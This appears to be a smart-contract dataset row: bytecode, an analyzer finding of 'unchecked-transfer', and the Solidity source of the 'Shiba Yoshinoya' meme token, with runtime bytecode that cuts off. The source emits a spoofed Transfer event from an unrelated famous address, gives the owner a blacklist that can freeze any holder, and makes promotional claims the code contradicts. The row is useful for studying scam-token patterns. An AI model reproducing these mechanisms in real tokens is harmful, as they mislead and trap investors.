0fd5b610187610c8e565b005b34156104e057600080fd5b61013a600435610e3d565b60405190815260200160405180910390f35b341561050857600080fd5b61013a610e58565b60405190815260200160405180910390f35b341561052d57600080fd5b61013a610e5e565b60405190815260200160405180910390f35b341561055257600080fd5b610187600435610e64565b005b341561056a57600080fd5b610187600160a060020a0360043516610ec5565b005b60035481565b60065481565b60005433600160a060020a039081169116146105a757600080fd5b7f1fe64f19a0a28b433fc8e226ca6eb03fd043a0e5c86e56b49add3b15a87e59756008548260405191825260208201526040908101905180910390a160088190555b5b50565b600154600160a060020a031681565b60008181526007602052604090206001015460a060020a900460ff165b919050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b45780601f10610689576101008083540402835291602001916106b4565b820191906000526020600020905b81548152906001019060200180831161069757829003601f168201915b505050505081565b600081815260076020526040812060010154829033600160a060020a039081169116146106e857600080fd5b6000838152600760205260409020548390811461070457600080fd5b60005460a060020a900460ff161561071b57600080fd5b6000848152600760205260409020600381015490935042101561073d57600080fd5b600183015460a060020a900460ff161561075657600080fd5b60018301805474ff0000000000000000000000000000000000000000191660a060020a17908190556002840154600160a060020a039091169080156108fc0290604051600060405180830381858888f1935050505015156107b657600080fd5b33600160a060020a0316847f7e31c53a2ff622c9aca28fc556f86404cc3b703074d95a2d600dc240dd6bbe02856002015460405190815260200160405180910390a35b5b5b505b505050565b6000805433600160a060020a0390811691161461081e57600080fd5b60005460a060020a900460ff16151561083657600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15060015b5b5b90565b6001546002546000918291829182918291600160a060020a03169063c119d01990339060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156108ef57600080fd5b6102c65a03f1151561090057600080fd5b50505033600160a060020a03167f8ffcdc15a283d706d38281f500270d8b5a656918f555de0913d7455e3e6bc1bf60405160405180910390a260035434111561094857600080fd5b60005460a060020a900460ff161561095f57600080fd5b4286101561096c57600080fd5b600854428703111561097d57600080fd5b6000341161098a57600080fd5b50506006546000818152600760205260409081902082815560018101805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03811691821774ff000000000000000000000000000000000000000019169092553460028401819055600384018a90559497509095509293508692909186907fb8305b4346dc4befa1b1d5096404f626a051cf8d4d7a2de4ceabc863a6b0676390869086905191825260208201526040908101905180910390a36006805460010190555b5b5b5b50505050919050565b60005460a060020a900460ff1681565b600081815260076020526040902060010154600160a060020a03165b919050565b6000818152600760205260409020600201545b919050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b45780601f10610689576101008083540402835291602001916106b4565b820191906000526020600020905b81548152906001019060200180831161069757829003601f168201915b505050505081565b6000805433600160a060020a03908116911614610b5a57600080fd5b60005460a060020a900460ff1615610b7157600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15060015b5b5b90565b60005433600160a060020a03908116911614610be557600080fd5b7feef27913e190f718408e23b0a5602c402bd0c6b5a65757761dfbf29c086ba6136002548260405191825260208201526040908101905180910390a160028190555b5b50565b600054600160a060020a031681565b6000818152600760205260409020600301545b919050565b60076020526000908152604090208054600182015460028301546003909301549192600160a060020a0382169260a060020a90920460ff169185565b60008054819033600160a060020a03908116911614610cac57600080fd5b600154600160a060020a0316638a8b7deb6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cf457600080fd5b6102c65a03f11515610d0557600080fd5b5050506040518051925050600160a060020a0382166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610d6757600080fd5b6102c65a03f11515610d7857600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610de857600080fd5b6102c65a03f11515610df957600080fd5b50505060405180519050507f837a8eb37bed7440e9ac12400fbf0ae6e313db365e42e4e61d9d937d07e3b1038160405190815260200160405180910390a15b5b5050565b6000818152600760205260409020600301544290035b919050565b60025481565b60085481565b60005433600160a060020a03908116911614610e7f57600080fd5b7f3da611cde6fbc4cc0e98a45d8128c275c40c20b070d80cb991575a0b472d18116003548260405191825260208201526040908101905180910390a160038190555b5b50565b60005433600160a060020a03908116911614610ee057600080fd5b600160a060020a038116156105e9576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b505600a165627a7a72305820a3a8558f69cb6d92741836e21978da571b7f595a696b583b859661b87e884fa50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,778 |
0xb694ce1daa26353969c1631d8c3f8515e08a8cfd
|
//SPDX-License-Identifier: Unlicense
/*
Telegram: https://t.me/shibayoshinoya
Twitter: https://twitter.com/ShibaYoshinoya
Marketing paid
Liqudity Locked
Ownership renounced
No Devwallets
CG, CMC listing: Ongoing
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBYSNY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba Yoshinoya";
string private constant _symbol = unicode'SHIBYSNY';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600f81526020017f536869626120596f7368696e6f79610000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348494259534e59000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a0422ca8b0a00a4250000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000